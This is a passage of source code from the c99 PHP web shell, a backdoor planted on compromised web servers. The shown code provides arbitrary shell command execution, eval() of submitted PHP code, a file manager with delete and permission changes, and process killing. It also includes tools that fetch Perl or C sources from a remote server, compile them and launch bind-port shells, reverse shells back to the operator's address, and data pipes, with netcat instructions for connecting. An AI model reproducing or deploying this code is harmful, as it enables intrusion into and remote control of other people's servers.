3435 {
3436 echo $ret . "<br>";
3437 }
3438 @chdir($olddir);
3439 }
3440 else
3441 {
3442 echo "<b>Execution command</b>";
3443 if (empty($cmd_txt))
3444 {
3445 $cmd_txt = true;
3446 }
3447 }
3448 echo "<form action=\"" . $surl . "\" method=POST><input type=hidden name=act value=cmd><textarea name=cmd cols=122 rows=10>" . htmlspecialchars($cmd) . "</textarea><input type=hidden name=\"d\" value=\"" . $dispd . "\"><br><br><input type=submit name=submit value=\"Execute\"> Display in text-area <input type=\"checkbox\" name=\"cmd_txt\" value=\"1\"";
3449 if ($cmd_txt)
3450 {
3451 echo " checked";
3452 }
3453 echo "></form>";
3454 }
3455 }
3456 if ($act == "ls")
3457 {
3458 if (count($ls_arr) > 0)
3459 {
3460 $list = $ls_arr;
3461 }
3462 else
3463 {
3464 $list = array();
3465 if ($h = @opendir($d))
3466 {
3467 while (($o = readdir($h)) !== false)
3468 {
3469 $list[] = $d . $o;
3470 }
3471 closedir($h);
3472 }
3473 else
3474 {
3475 }
3476 }
3477 if (count($list) == 0)
3478 {
3479 echo "<center><b>Can't open folder (" . htmlspecialchars($d) . ")!</b></center>";
3480 }
3481 else
3482 {
3483 $objects = array();
3484 $vd = "f";
3485 if ($vd == "f")
3486 {
3487 $objects["head"] = array();
3488 $objects["folders"] = array();
3489 $objects["links"] = array();
3490 $objects["files"] = array();
3491 foreach ($list as $v)
3492 {
3493 $o = basename($v);
3494 $row = array();
3495 if ($o == ".")
3496 {
3497 $row[] = $d . $o;
3498 $row[] = "LINK";
3499 }
3500 elseif ($o == "..")
3501 {
3502 $row[] = $d . $o;
3503 $row[] = "LINK";
3504 }
3505 elseif (is_dir($v))
3506 {
3507 if (is_link($v))
3508 {
3509 $type = "LINK";
3510 }
3511 else
3512 {
3513 $type = "DIR";
3514 }
3515 $row[] = $v;
3516 $row[] = $type;
3517 }
3518 elseif (is_file($v))
3519 {
3520 $row[] = $v;
3521 $row[] = filesize($v);
3522 }
3523 $row[] = filemtime($v);
3524 if (!$win)
3525 {
3526 $ow = posix_getpwuid(fileowner($v));
3527 $gr = posix_getgrgid(filegroup($v));
3528 $row[] = ($ow["name"] ? $ow["name"] : fileowner($v)) . "/" . ($gr["name"] ? $gr["name"] : filegroup($v));
3529 }
3530 $row[] = fileperms($v);
3531 if (($o == ".") or ($o == ".."))
3532 {
3533 $objects["head"][] = $row;
3534 }
3535 elseif (is_link($v))
3536 {
3537 $objects["links"][] = $row;
3538 }
3539 elseif (is_dir($v))
3540 {
3541 $objects["folders"][] = $row;
3542 }
3543 elseif (is_file($v))
3544 {
3545 $objects["files"][] = $row;
3546 }
3547 $i++;
3548 }
3549 $row = array();
3550 $row[] = "<b>Name</b>";
3551 $row[] = "<b>Size</b>";
3552 $row[] = "<b>Modify</b>";
3553 if (!$win)
3554 {
3555 $row[] = "<b>Owner/Group</b>";
3556 }
3557 $row[] = "<b>Perms</b>";
3558 $row[] = "<b>Action</b>";
3559 $parsesort = parsesort($sort);
3560 $sort = $parsesort[0] . $parsesort[1];
3561 $k = $parsesort[0];
3562 if ($parsesort[1] != "a")
3563 {
3564 $parsesort[1] = "d";
3565 }
3566 $y = "<a href=\"" . $surl . "act=" . $dspact . "&d=" . urlencode($d) . "&sort=" . $k . ($parsesort[1] == "a" ? "d" : "a") . "\">";
3567 $y .= "<img src=\"" . $surl . "act=img&img=sort_" . ($sort[1] == "a" ? "asc" : "desc") . "\" height=\"9\" width=\"14\" alt=\"" . ($parsesort[1] == "a" ? "Asc." : "Desc") . "\" border=\"0\"></a>";
3568 $row[$k] .= $y;
3569 for ($i = 0;$i < count($row) - 1;$i++)
3570 {
3571 if ($i != $k)
3572 {
3573 $row[$i] = "<a href=\"" . $surl . "act=" . $dspact . "&d=" . urlencode($d) . "&sort=" . $i . $parsesort[1] . "\">" . $row[$i] . "</a>";
3574 }
3575 }
3576 $v = $parsesort[0];
3577 usort($objects["folders"], "tabsort");
3578 usort($objects["links"], "tabsort");
3579 usort($objects["files"], "tabsort");
3580 if ($parsesort[1] == "d")
3581 {
3582 $objects["folders"] = array_reverse($objects["folders"]);
3583 $objects["files"] = array_reverse($objects["files"]);
3584 }
3585 $objects = array_merge($objects["head"], $objects["folders"], $objects["links"], $objects["files"]);
3586 $tab = array();
3587 $tab["cols"] = array(
3588 $row
3589 );
3590 $tab["head"] = array();
3591 $tab["folders"] = array();
3592 $tab["links"] = array();
3593 $tab["files"] = array();
3594 $i = 0;
3595 foreach ($objects as $a)
3596 {
3597 $v = $a[0];
3598 $o = basename($v);
3599 $dir = dirname($v);
3600 if ($disp_fullpath)
3601 {
3602 $disppath = $v;
3603 }
3604 else
3605 {
3606 $disppath = $o;
3607 }
3608 $disppath = str2mini($disppath, 60);
3609 if (in_array($v, $sess_data["cut"]))
3610 {
3611 $disppath = "<strike>" . $disppath . "</strike>";
3612 }
3613 elseif (in_array($v, $sess_data["copy"]))
3614 {
3615 $disppath = "<u>" . $disppath . "</u>";
3616 }
3617 foreach ($regxp_highlight as $r)
3618 {
3619 if (preg_match($r[0], $o))
3620 {
3621 if ((!is_numeric($r[1])) or ($r[1] > 3))
3622 {
3623 $r[1] = 0;
3624 ob_clean();
3625 echo "Warning! Configuration error in \$regxp_highlight[" . $k . "][0] - unknown command.";
3626 c99shexit();
3627 }
3628 else
3629 {
3630 $r[1] = round($r[1]);
3631 $isdir = is_dir($v);
3632 if (($r[1] == 0) or (($r[1] == 1) and !$isdir) or (($r[1] == 2) and !$isdir))
3633 {
3634 if (empty($r[2]))
3635 {
3636 $r[2] = "<b>";
3637 $r[3] = "</b>";
3638 }
3639 $disppath = $r[2] . $disppath . $r[3];
3640 if ($r[4])
3641 {
3642 break;
3643 }
3644 }
3645 }
3646 }
3647 }
3648 $uo = urlencode($o);
3649 $ud = urlencode($dir);
3650 $uv = urlencode($v);
3651 $row = array();
3652 if ($o == ".")
3653 {
3654 $row[] = "<img src=\"" . $surl . "act=img&img=small_dir\" height=\"16\" width=\"19\" border=\"0\"> <a href=\"" . $surl . "act=" . $dspact . "&d=" . urlencode(realpath($d . $o)) . "&sort=" . $sort . "\">" . $o . "</a>";
3655 $row[] = "LINK";
3656 }
3657 elseif ($o == "..")
3658 {
3659 $row[] = "<img src=\"" . $surl . "act=img&img=ext_lnk\" height=\"16\" width=\"19\" border=\"0\"> <a href=\"" . $surl . "act=" . $dspact . "&d=" . urlencode(realpath($d . $o)) . "&sort=" . $sort . "\">" . $o . "</a>";
3660 $row[] = "LINK";
3661 }
3662 elseif (is_dir($v))
3663 {
3664 if (is_link($v))
3665 {
3666 $disppath .= " => " . readlink($v);
3667 $type = "LINK";
3668 $row[] = "<img src=\"" . $surl . "act=img&img=ext_lnk\" height=\"16\" width=\"16\" border=\"0\"> <a href=\"" . $surl . "act=ls&d=" . $uv . "&sort=" . $sort . "\">[" . $disppath . "]</a>";
3669 }
3670 else
3671 {
3672 $type = "DIR";
3673 $row[] = "<img src=\"" . $surl . "act=img&img=small_dir\" height=\"16\" width=\"19\" border=\"0\"> <a href=\"" . $surl . "act=ls&d=" . $uv . "&sort=" . $sort . "\">[" . $disppath . "]</a>";
3674 }
3675 $row[] = $type;
3676 }
3677 elseif (is_file($v))
3678 {
3679 $ext = explode(".", $o);
3680 $c = count($ext) - 1;
3681 $ext = $ext[$c];
3682 $ext = strtolower($ext);
3683 $row[] = "<img src=\"" . $surl . "act=img&img=ext_" . $ext . "\" border=\"0\"> <a href=\"" . $surl . "act=f&f=" . $uo . "&d=" . $ud . "&\">" . $disppath . "</a>";
3684 $row[] = view_size($a[1]);
3685 }
3686 $row[] = date("d.m.Y H:i:s", $a[2]);
3687 if (!$win)
3688 {
3689 $row[] = $a[3];
3690 }
3691 $row[] = "<a href=\"" . $surl . "act=chmod&f=" . $uo . "&d=" . $ud . "\"><b>" . view_perms_color($v) . "</b></a>";
3692 if ($o == ".")
3693 {
3694 $checkbox = "<input type=\"checkbox\" name=\"actbox[]\" onclick=\"ls_reverse_all();\">";
3695 $i--;
3696 }
3697 else
3698 {
3699 $checkbox = "<input type=\"checkbox\" name=\"actbox[]\" id=\"actbox" . $i . "\" value=\"" . htmlspecialchars($v) . "\">";
3700 }
3701 if (is_dir($v))
3702 {
3703 $row[] = "<a href=\"" . $surl . "act=d&d=" . $uv . "\"><img src=\"" . $surl . "act=img&img=ext_diz\" alt=\"Info\" height=\"16\" width=\"16\" border=\"0\"></a> " . $checkbox;
3704 }
3705 else
3706 {
3707 $row[] = "<a href=\"" . $surl . "act=f&f=" . $uo . "&ft=info&d=" . $ud . "\"><img src=\"" . $surl . "act=img&img=ext_diz\" alt=\"Info\" height=\"16\" width=\"16\" border=\"0\"></a> <a href=\"" . $surl . "act=f&f=" . $uo . "&ft=edit&d=" . $ud . "\"><img src=\"" . $surl . "act=img&img=change\" alt=\"Change\" height=\"16\" width=\"19\" border=\"0\"></a> <a href=\"" . $surl . "act=f&f=" . $uo . "&ft=download&d=" . $ud . "\"><img src=\"" . $surl . "act=img&img=download\" alt=\"Download\" height=\"16\" width=\"19\" border=\"0\"></a> " . $checkbox;
3708 }
3709 if (($o == ".") or ($o == ".."))
3710 {
3711 $tab["head"][] = $row;
3712 }
3713 elseif (is_link($v))
3714 {
3715 $tab["links"][] = $row;
3716 }
3717 elseif (is_dir($v))
3718 {
3719 $tab["folders"][] = $row;
3720 }
3721 elseif (is_file($v))
3722 {
3723 $tab["files"][] = $row;
3724 }
3725 $i++;
3726 }
3727 }
3728 $table = array_merge($tab["cols"], $tab["head"], $tab["folders"], $tab["links"], $tab["files"]);
3729 echo "<center><b>Listing folder (" . count($tab["files"]) . " files and " . (count($tab["folders"]) + count($tab["links"])) . " folders):</b></center><br><TABLE cellSpacing=0 cellPadding=0 width=100% bgColor=#333333 borderColorLight=#433333 border=0><form action=\"" . $surl . "\" method=POST name=\"ls_form\"><input type=hidden name=act value=" . $dspact . "><input type=hidden name=d value=" . $d . ">";
3730 foreach ($table as $row)
3731 {
3732 echo "<tr>\r\n";
3733 foreach ($row as $v)
3734 {
3735 echo "<td>" . $v . "</td>\r\n";
3736 }
3737 echo "</tr>\r\n";
3738 }
3739 echo "</table><hr size=\"1\" noshade><p align=\"right\">
3740 <script>
3741 function ls_setcheckboxall(status)
3742 {
3743 var id = 0;
3744 var num = " . (count($table) - 2) . ";
3745 while (id <= num)
3746 {
3747 document.getElementById('actbox'+id).checked = status;
3748 id++;
3749 }
3750 }
3751 function ls_reverse_all()
3752 {
3753 var id = 0;
3754 var num = " . (count($table) - 2) . ";
3755 while (id <= num)
3756 {
3757 document.getElementById('actbox'+id).checked = !document.getElementById('actbox'+id).checked;
3758 id++;
3759 }
3760 }
3761 </script>
3762 <input type=\"button\" onclick=\"ls_setcheckboxall(true);\" value=\"Select all\"> <input type=\"button\" onclick=\"ls_setcheckboxall(false);\" value=\"Unselect all\">
3763 <b><img src=\"" . $surl . "act=img&img=arrow_ltr\" border=\"0\">";
3764 if (count(array_merge($sess_data["copy"], $sess_data["cut"])) > 0 and ($usefsbuff))
3765 {
3766 echo "<input type=submit name=actarcbuff value=\"Pack buffer to archive\"> <input type=\"text\" name=\"actarcbuff_path\" value=\"archive_" . substr(md5(rand(1, 1000) . rand(1, 1000)) , 0, 5) . ".tar.gz\"> <input type=submit name=\"actpastebuff\" value=\"Paste\"> <input type=submit name=\"actemptybuff\" value=\"Empty buffer\"> ";
3767 }
3768 echo "<select name=act><option value=\"" . $act . "\">With selected:</option>";
3769 echo "<option value=delete" . ($dspact == "delete" ? " selected" : "") . ">Delete</option>";
3770 echo "<option value=chmod" . ($dspact == "chmod" ? " selected" : "") . ">Change-mode</option>";
3771 if ($usefsbuff)
3772 {
3773 echo "<option value=cut" . ($dspact == "cut" ? " selected" : "") . ">Cut</option>";
3774 echo "<option value=copy" . ($dspact == "copy" ? " selected" : "") . ">Copy</option>";
3775 echo "<option value=unselect" . ($dspact == "unselect" ? " selected" : "") . ">Unselect</option>";
3776 }
3777 echo "</select> <input type=submit value=\"Confirm\"></p>";
3778 echo "</form>";
3779 }
3780 }
3781 if ($act == "tools")
3782 {
3783 $bndportsrcs = array(
3784 "c99sh_bindport.pl" => array(
3785 "Using PERL",
3786 "perl %path %port"
3787 ) ,
3788 "c99sh_bindport.c" => array(
3789 "Using C",
3790 "%path %port %pass"
3791 )
3792 );
3793 $bcsrcs = array(
3794 "c99sh_backconn.pl" => array(
3795 "Using PERL",
3796 "perl %path %host %port"
3797 ) ,
3798 "c99sh_backconn.c" => array(
3799 "Using C",
3800 "%path %host %port"
3801 )
3802 );
3803 $dpsrcs = array(
3804 "c99sh_datapipe.pl" => array(
3805 "Using PERL",
3806 "perl %path %localport %remotehost %remoteport"
3807 ) ,
3808 "c99sh_datapipe.c" => array(
3809 "Using C",
3810 "%path %localport %remoteport %remotehost"
3811 )
3812 );
3813 if (!is_array($bind))
3814 {
3815 $bind = array();
3816 }
3817 if (!is_array($bc))
3818 {
3819 $bc = array();
3820 }
3821 if (!is_array($datapipe))
3822 {
3823 $datapipe = array();
3824 }
3825 if (!is_numeric($bind["port"]))
3826 {
3827 $bind["port"] = $bindport_port;
3828 }
3829 if (empty($bind["pass"]))
3830 {
3831 $bind["pass"] = $bindport_pass;
3832 }
3833 if (empty($bc["host"]))
3834 {
3835 $bc["host"] = getenv("REMOTE_ADDR");
3836 }
3837 if (!is_numeric($bc["port"]))
3838 {
3839 $bc["port"] = $bc_port;
3840 }
3841 if (empty($datapipe["remoteaddr"]))
3842 {
3843 $datapipe["remoteaddr"] = "irc.dalnet.ru:6667";
3844 }
3845 if (!is_numeric($datapipe["localport"]))
3846 {
3847 $datapipe["localport"] = $datapipe_localport;
3848 }
3849 if (!empty($bindsubmit))
3850 {
3851 echo "<b>Result of binding port:</b><br>";
3852 $v = $bndportsrcs[$bind["src"]];
3853 if (empty($v))
3854 {
3855 echo "Unknown file!<br>";
3856 }
3857 elseif (fsockopen(getenv("SERVER_ADDR") , $bind["port"], $errno, $errstr, 0.1))
3858 {
3859 echo "Port alredy in use, select any other!<br>";
3860 }
3861 else
3862 {
3863 $w = explode(".", $bind["src"]);
3864 $ext = $w[count($w) - 1];
3865 unset($w[count($w) - 1]);
3866 $srcpath = join(".", $w) . "." . rand(0, 999) . "." . $ext;
3867 $binpath = $tmpdir . join(".", $w) . rand(0, 999);
3868 if ($ext == "pl")
3869 {
3870 $binpath = $srcpath;
3871 }
3872 @unlink($srcpath);
3873 $fp = fopen($srcpath, "ab+");
3874 if (!$fp)
3875 {
3876 echo "Can't write sources to \"" . $srcpath . "\"!<br>";
3877 }
3878 elseif (!$data = c99getsource($bind["src"]))
3879 {
3880 echo "Can't download sources!";
3881 }
3882 else
3883 {
3884 fwrite($fp, $data, strlen($data));
3885 fclose($fp);
3886 if ($ext == "c")
3887 {
3888 $retgcc = myshellexec("gcc -o " . $binpath . " " . $srcpath);
3889 @unlink($srcpath);
3890 }
3891 $v[1] = str_replace("%path", $binpath, $v[1]);
3892 $v[1] = str_replace("%port", $bind["port"], $v[1]);
3893 $v[1] = str_replace("%pass", $bind["pass"], $v[1]);
3894 $v[1] = str_replace("//", "/", $v[1]);
3895 $retbind = myshellexec($v[1] . " > /dev/null &");
3896 sleep(5);
3897 $sock = fsockopen("localhost", $bind["port"], $errno, $errstr, 5);
3898 if (!$sock)
3899 {
3900 echo "I can't connect to localhost:" . $bind["port"] . "! I think you should configure your firewall.";
3901 }
3902 else
3903 {
3904 echo "Binding... ok! Connect to <b>" . getenv("SERVER_ADDR") . ":" . $bind["port"] . "</b>! You should use NetCat©, run \"<b>nc -v " . getenv("SERVER_ADDR") . " " . $bind["port"] . "</b>\"!<center><a href=\"" . $surl . "act=processes&grep=" . basename($binpath) . "\"><u>View binder's process</u></a></center>";
3905 }
3906 }
3907 echo "<br>";
3908 }
3909 }
3910 if (!empty($bcsubmit))
3911 {
3912 echo "<b>Result of back connection:</b><br>";
3913 $v = $bcsrcs[$bc["src"]];
3914 if (empty($v))
3915 {
3916 echo "Unknown file!<br>";
3917 }
3918 else
3919 {
3920 $w = explode(".", $bc["src"]);
3921 $ext = $w[count($w) - 1];
3922 unset($w[count($w) - 1]);
3923 $srcpath = join(".", $w) . "." . rand(0, 999) . "." . $ext;
3924 $binpath = $tmpdir . join(".", $w) . rand(0, 999);
3925 if ($ext == "pl")
3926 {
3927 $binpath = $srcpath;
3928 }
3929 @unlink($srcpath);
3930 $fp = fopen($srcpath, "ab+");
3931 if (!$fp)
3932 {
3933 echo "Can't write sources to \"" . $srcpath . "\"!<br>";
3934 }
3935 elseif (!$data = c99getsource($bc["src"]))
3936 {
3937 echo "Can't download sources!";
3938 }
3939 else
3940 {
3941 fwrite($fp, $data, strlen($data));
3942 fclose($fp);
3943 if ($ext == "c")
3944 {
3945 $retgcc = myshellexec("gcc -o " . $binpath . " " . $srcpath);
3946 @unlink($srcpath);
3947 }
3948 $v[1] = str_replace("%path", $binpath, $v[1]);
3949 $v[1] = str_replace("%host", $bc["host"], $v[1]);
3950 $v[1] = str_replace("%port", $bc["port"], $v[1]);
3951 $v[1] = str_replace("//", "/", $v[1]);
3952 $retbind = myshellexec($v[1] . " > /dev/null &");
3953 echo "Now script try connect to " . htmlspecialchars($bc["host"]) . ":" . htmlspecialchars($bc["port"]) . "...<br>";
3954 }
3955 }
3956 }
3957 if (!empty($dpsubmit))
3958 {
3959 echo "<b>Result of datapipe-running:</b><br>";
3960 $v = $dpsrcs[$datapipe["src"]];
3961 if (empty($v))
3962 {
3963 echo "Unknown file!<br>";
3964 }
3965 elseif (fsockopen(getenv("SERVER_ADDR") , $datapipe["port"], $errno, $errstr, 0.1))
3966 {
3967 echo "Port alredy in use, select any other!<br>";
3968 }
3969 else
3970 {
3971 $srcpath = $tmpdir . $datapipe["src"];
3972 $w = explode(".", $datapipe["src"]);
3973 $ext = $w[count($w) - 1];
3974 unset($w[count($w) - 1]);
3975 $srcpath = join(".", $w) . "." . rand(0, 999) . "." . $ext;
3976 $binpath = $tmpdir . join(".", $w) . rand(0, 999);
3977 if ($ext == "pl")
3978 {
3979 $binpath = $srcpath;
3980 }
3981 @unlink($srcpath);
3982 $fp = fopen($srcpath, "ab+");
3983 if (!$fp)
3984 {
3985 echo "Can't write sources to \"" . $srcpath . "\"!<br>";
3986 }
3987 elseif (!$data = c99getsource($datapipe["src"]))
3988 {
3989 echo "Can't download sources!";
3990 }
3991 else
3992 {
3993 fwrite($fp, $data, strlen($data));
3994 fclose($fp);
3995 if ($ext == "c")
3996 {
3997 $retgcc = myshellexec("gcc -o " . $binpath . " " . $srcpath);
3998 @unlink($srcpath);
3999 }
4000 list($datapipe["remotehost"], $datapipe["remoteport"]) = explode(":", $datapipe["remoteaddr"]);
4001 $v[1] = str_replace("%path", $binpath, $v[1]);
4002 $v[1] = str_replace("%localport", $datapipe["localport"], $v[1]);
4003 $v[1] = str_replace("%remotehost", $datapipe["remotehost"], $v[1]);
4004 $v[1] = str_replace("%remoteport", $datapipe["remoteport"], $v[1]);
4005 $v[1] = str_replace("//", "/", $v[1]);
4006 $retbind = myshellexec($v[1] . " > /dev/null &");
4007 sleep(5);
4008 $sock = fsockopen("localhost", $datapipe["port"], $errno, $errstr, 5);
4009 if (!$sock)
4010 {
4011 echo "I can't connect to localhost:" . $datapipe["localport"] . "! I think you should configure your firewall.";
4012 }
4013 else
4014 {
4015 echo "Running datapipe... ok! Connect to <b>" . getenv("SERVER_ADDR") . ":" . $datapipe["port"] . ", and you will connected to " . $datapipe["remoteaddr"] . "</b>! You should use NetCat©, run \"<b>nc -v " . getenv("SERVER_ADDR") . " " . $bind["port"] . "</b>\"!<center><a href=\"" . $surl . "act=processes&grep=" . basename($binpath) . "\"><u>View datapipe process</u></a></center>";
4016 }
4017 }
4018 echo "<br>";
4019 }
4020 } ?><b>Binding port:</b><br><form action="<?php echo $surl; ?>"><input type=hidden name=act value=tools><input type=hidden name=d value="<?php echo $d; ?>">Port: <input type=text name="bind[port]" value="<?php echo htmlspecialchars($bind["port"]); ?>"> Password: <input type=text name="bind[pass]" value="<?php echo htmlspecialchars($bind["pass"]); ?>"> <select name="bind[src]"><?php foreach ($bndportsrcs as $k => $v)
4021 {
4022 echo "<option value=\"" . $k . "\"";
4023 if ($k == $bind["src"])
4024 {
4025 echo " selected";
4026 }
4027 echo ">" . $v[0] . "</option>";
4028 } ?></select> <input type=submit name=bindsubmit value="Bind"></form>
4029<b>Back connection:</b><br><form action="<?php echo $surl; ?>"><input type=hidden name=act value=tools><input type=hidden name=d value="<?php echo $d; ?>">HOST: <input type=text name="bc[host]" value="<?php echo htmlspecialchars($bc["host"]); ?>"> Port: <input type=text name="bc[port]" value="<?php echo htmlspecialchars($bc["port"]); ?>"> <select name="bc[src]"><?php foreach ($bcsrcs as $k => $v)
4030 {
4031 echo "<option value=\"" . $k . "\"";
4032 if ($k == $bc["src"])
4033 {
4034 echo " selected";
4035 }
4036 echo ">" . $v[0] . "</option>";
4037 } ?></select> <input type=submit name=bcsubmit value="Connect"></form>
4038Click "Connect" only after open port for it. You should use NetCat©, run "<b>nc -l -n -v -p <?php echo $bc_port; ?></b>"!<br><br>
4039<b>Datapipe:</b><br><form action="<?php echo $surl; ?>"><input type=hidden name=act value=tools><input type=hidden name=d value="<?php echo $d; ?>">HOST: <input type=text name="datapipe[remoteaddr]" value="<?php echo htmlspecialchars($datapipe["remoteaddr"]); ?>"> Local port: <input type=text name="datapipe[localport]" value="<?php echo htmlspecialchars($datapipe["localport"]); ?>"> <select name="datapipe[src]"><?php foreach ($dpsrcs as $k => $v)
4040 {
4041 echo "<option value=\"" . $k . "\"";
4042 if ($k == $bc["src"])
4043 {
4044 echo " selected";
4045 }
4046 echo ">" . $v[0] . "</option>";
4047 } ?></select> <input type=submit name=dpsubmit value="Run"></form><b>Note:</b> sources will be downloaded from remote server.<?php
4048 }
4049 if ($act == "processes")
4050 {
4051 echo "<b>Processes:</b><br>";
4052 if (!$win)
4053 {
4054 $handler = "ps -aux" . ($grep ? " | grep '" . addslashes($grep) . "'" : "");
4055 }
4056 else
4057 {
4058 $handler = "tasklist";
4059 }
4060 $ret = myshellexec($handler);
4061 if (!$ret)
4062 {
4063 echo "Can't execute \"" . $handler . "\"!";
4064 }
4065 else
4066 {
4067 if (empty($processes_sort))
4068 {
4069 $processes_sort = $sort_default;
4070 }
4071 $parsesort = parsesort($processes_sort);
4072 if (!is_numeric($parsesort[0]))
4073 {
4074 $parsesort[0] = 0;
4075 }
4076 $k = $parsesort[0];
4077 if ($parsesort[1] != "a")
4078 {
4079 $y = "<a href=\"" . $surl . "act=" . $dspact . "&d=" . urlencode($d) . "&processes_sort=" . $k . "a\"><img src=\"" . $surl . "act=img&img=sort_desc\" height=\"9\" width=\"14\" border=\"0\"></a>";
4080 }
4081 else
4082 {
4083 $y = "<a href=\"" . $surl . "act=" . $dspact . "&d=" . urlencode($d) . "&processes_sort=" . $k . "d\"><img src=\"" . $surl . "act=img&img=sort_asc\" height=\"9\" width=\"14\" border=\"0\"></a>";
4084 }
4085 $ret = htmlspecialchars($ret);
4086 if (!$win)
4087 {
4088 if ($pid)
4089 {
4090 if (is_null($sig))
4091 {
4092 $sig = 9;
4093 }
4094 echo "Sending signal " . $sig . " to #" . $pid . "... ";
4095 if (posix_kill($pid, $sig))
4096 {
4097 echo "OK.";
4098 }
4099 else
4100 {
4101 echo "ERROR.";
4102 }
4103 }
4104 while (preg_match(" ", $ret))
4105 {
4106 $ret = str_replace(" ", " ", $ret);
4107 }
4108 $stack = explode("\n", $ret);
4109 $head = explode(" ", $stack[0]);
4110 unset($stack[0]);
4111 for ($i = 0;$i < count($head);$i++)
4112 {
4113 if ($i != $k)
4114 {
4115 $head[$i] = "<a href=\"" . $surl . "act=" . $dspact . "&d=" . urlencode($d) . "&processes_sort=" . $i . $parsesort[1] . "\"><b>" . $head[$i] . "</b></a>";
4116 }
4117 }
4118 $prcs = array();
4119 foreach ($stack as $line)
4120 {
4121 if (!empty($line))
4122 {
4123 echo "<tr>";
4124 $line = explode(" ", $line);
4125 $line[10] = join(" ", array_slice($line, 10));
4126 $line = array_slice($line, 0, 11);
4127 if ($line[0] == get_current_user())
4128 {
4129 $line[0] = "<font color=green>" . $line[0] . "</font>";
4130 }
4131 $line[] = "<a href=\"" . $surl . "act=processes&d=" . urlencode($d) . "&pid=" . $line[1] . "&sig=9\"><u>KILL</u></a>";
4132 $prcs[] = $line;
4133 echo "</tr>";
4134 }
4135 }
4136 }
4137 else
4138 {
4139 while (preg_match(" ", $ret))
4140 {
4141 $ret = str_replace(" ", " ", $ret);
4142 }
4143 while (preg_match(" ", $ret))
4144 {
4145 $ret = str_replace(" ", " ", $ret);
4146 }
4147 while (preg_match(" ", $ret))
4148 {
4149 $ret = str_replace(" ", " ", $ret);
4150 }
4151 while (preg_match(" ", $ret))
4152 {
4153 $ret = str_replace(" ", " ", $ret);
4154 }
4155 while (preg_match(" ", $ret))
4156 {
4157 $ret = str_replace(" ", " ", $ret);
4158 }
4159 while (preg_match(" ", $ret))
4160 {
4161 $ret = str_replace(" ", " ", $ret);
4162 }
4163 while (preg_match(" ", $ret))
4164 {
4165 $ret = str_replace(" ", " ", $ret);
4166 }
4167 while (preg_match(" ", $ret))
4168 {
4169 $ret = str_replace(" ", " ", $ret);
4170 }
4171 while (preg_match(" ", $ret))
4172 {
4173 $ret = str_replace(" ", " ", $ret);
4174 }
4175 while (preg_match(" ", $ret))
4176 {
4177 $ret = str_replace(" ", " ", $ret);
4178 }
4179 while (preg_match(" ", $ret))
4180 {
4181 $ret = str_replace(" ", " ", $ret);
4182 }
4183 $ret = convert_cyr_string($ret, "d", "w");
4184 $stack = explode("\n", $ret);
4185 unset($stack[0], $stack[2]);
4186 $stack = array_values($stack);
4187 $head = explode(" ", $stack[0]);
4188 $head[1] = explode(" ", $head[1]);
4189 $head[1] = $head[1][0];
4190 $stack = array_slice($stack, 1);
4191 unset($head[2]);
4192 $head = array_values($head);
4193 if ($parsesort[1] != "a")
4194 {
4195 $y = "<a href=\"" . $surl . "act=" . $dspact . "&d=" . urlencode($d) . "&processes_sort=" . $k . "a\"><img src=\"" . $surl . "act=img&img=sort_desc\" height=\"9\" width=\"14\" border=\"0\"></a>";
4196 }
4197 else
4198 {
4199 $y = "<a href=\"" . $surl . "act=" . $dspact . "&d=" . urlencode($d) . "&processes_sort=" . $k . "d\"><img src=\"" . $surl . "act=img&img=sort_asc\" height=\"9\" width=\"14\" border=\"0\"></a>";
4200 }
4201 if ($k > count($head))
4202 {
4203 $k = count($head) - 1;
4204 }
4205 for ($i = 0;$i < count($head);$i++)
4206 {
4207 if ($i != $k)
4208 {
4209 $head[$i] = "<a href=\"" . $surl . "act=" . $dspact . "&d=" . urlencode($d) . "&processes_sort=" . $i . $parsesort[1] . "\"><b>" . trim($head[$i]) . "</b></a>";
4210 }
4211 }
4212 $prcs = array();
4213 foreach ($stack as $line)
4214 {
4215 if (!empty($line))
4216 {
4217 echo "<tr>";
4218 $line = explode(" ", $line);
4219 $line[1] = intval($line[1]);
4220 $line[2] = $line[3];
4221 unset($line[3]);
4222 $line[2] = intval(str_replace(" ", "", $line[2])) * 1024;
4223 $prcs[] = $line;
4224 echo "</tr>";
4225 }
4226 }
4227 }
4228 $head[$k] = "<b>" . $head[$k] . "</b>" . $y;
4229 $v = $processes_sort[0];
4230 usort($prcs, "tabsort");
4231 if ($processes_sort[1] == "d")
4232 {
4233 $prcs = array_reverse($prcs);
4234 }
4235 $tab = array();
4236 $tab[] = $head;
4237 $tab = array_merge($tab, $prcs);
4238 echo "<TABLE height=1 cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"100%\" bgColor=#333333 borderColorLight=#c0c0c0 border=1 bordercolor=\"#C0C0C0\">";
4239 foreach ($tab as $i => $k)
4240 {
4241 echo "<tr>";
4242 foreach ($k as $j => $v)
4243 {
4244 if ($win and $i > 0 and $j == 2)
4245 {
4246 $v = view_size($v);
4247 }
4248 echo "<td>" . $v . "</td>";
4249 }
4250 echo "</tr>";
4251 }
4252 echo "</table>";
4253 }
4254 }
4255 if ($act == "eval")
4256 {
4257 if (!empty($eval))
4258 {
4259 echo "<b>Result of execution this PHP-code</b>:<br>";
4260 $tmp = ob_get_contents();
4261 $olddir = realpath(".");
4262 @chdir($d);
4263 if ($tmp)
4264 {
4265 ob_clean();
4266 eval($eval);
4267 $ret = ob_get_contents();
4268 $ret = convert_cyr_string($ret, "d", "w");
4269 ob_clean();
4270 echo $tmp;
4271 if ($eval_txt)
4272 {
4273 $rows = count(explode("\r\n", $ret)) + 1;
4274 if ($rows < 10)
4275 {
4276 $rows = 10;
4277 }
4278 echo "<br><textarea cols=\"122\" rows=\"" . $rows . "\" readonly>" . htmlspecialchars($ret) . "</textarea>";
4279 }
4280 else
4281 {
4282 echo $ret . "<br>";
4283 }
4284 }
4285 else
4286 {
4287 if ($eval_txt)
4288 {
4289 echo "<br><textarea cols=\"122\" rows=\"15\" readonly>";
4290 eval($eval);
4291 echo "</textarea>";
4292 }
4293 else
4294 {
4295 echo $ret;
4296 }
4297 }
4298 @chdir($olddir);
4299 }
4300 else
4301 {
4302 echo "<b>Execution PHP-code</b>";
4303 if (empty($eval_txt))
4304 {
4305 $eval_txt = true;
4306 }
4307 }
4308 echo "<form action=\"" . $surl . "\" method=POST><input type=hidden name=act value=eval><textarea name=\"eval\" cols=\"122\" rows=\"10\">" . htmlspecialchars($eval) . "</textarea><input type=hidden name=\"d\" value=\"" . $dispd . "\"><br><br><input type=submit value=\"Execute\"> Display in text-area <input type=\"checkbox\" name=\"eval_txt\" value=\"1\"";
4309 if ($eval_txt)
4310 {
4311 echo " checked";
4312 }
